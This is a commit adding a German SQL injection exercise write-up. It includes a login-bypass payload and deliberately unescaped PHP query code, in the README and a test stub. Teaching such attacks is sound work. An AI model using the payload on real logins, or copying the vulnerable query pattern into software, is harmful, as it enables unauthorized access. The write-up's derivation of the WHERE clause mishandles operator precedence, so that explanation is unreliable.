Add SQL Injection write up

This commit is contained in:
2022-01-30 19:43:58 +01:00
commit 10255f134e
3 changed files with 67 additions and 0 deletions

44
sql-injection/README.md Normal file
View File

@ -0,0 +1,44 @@
# SQL Injection
Gegeben ist eine Login-Form.
Ziel ist es, sich als Nutzer `max` anzumelden.
Sein Passwort kennen wir nicht.
![](sql-injection.png)
## Lösung
Wir geben folgenden Daten ein:
- **Benuzername**: `max`
- **Passwort**: `' or 1=1 -- abc`
Auf dem Server wird das dann etwa so ausgeführt:
```php
<?php
function checkLogin() {
$user = $_POST['user']; // ESCAPE FEHLT!!!!
$password = $_POST['password']; // ESCAPE FEHLT!!!!
$query = "SELECT * FROM users"
. " WHERE user = '$user'"
. " AND password='$password'"; // Siehe Hint
return doesQueryReturnAnyRow($query);
}
if (checkLogin()) {
echo "Information: Task solved!";
}
```
Mit unsere Eingabe kann man sich die Evaluierung
des `WHERE`-Teils der Anfrage in der Datenbank
in etwa so Vorstellen:
```sql
WHERE user = '$user' AND password='$password'
<=> WHERE user = 'max' AND password='' or 1=1 -- abc'
<=> WHERE user = 'max' AND 1=1 -- abc'
<=> WHERE user = 'max' -- abc'
<=> WHERE user = 'max'
```
Also Login wir mit `max` ein,
ohne sein Passwort zu kennen.

View File

@ -0,0 +1,23 @@
<?php
$_POST = array(
'user'=>'abc',
'password'=>'def');
function doesQueryReturnAnyRow($query) {
var_dump($query);
return true;
}
function checkLogin() {
$user = $_POST['user']; // ESCAPE FEHLT!!!!
$password = $_POST['password']; // ESCAPE FEHLT!!!!
$query = "SELECT * FROM users"
. " WHERE user = '$user'"
. " AND password='$password'"; // Siehe Hint
return doesQueryReturnAnyRow($query);
}
if (checkLogin()) {
echo "Information: Task solved!";
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB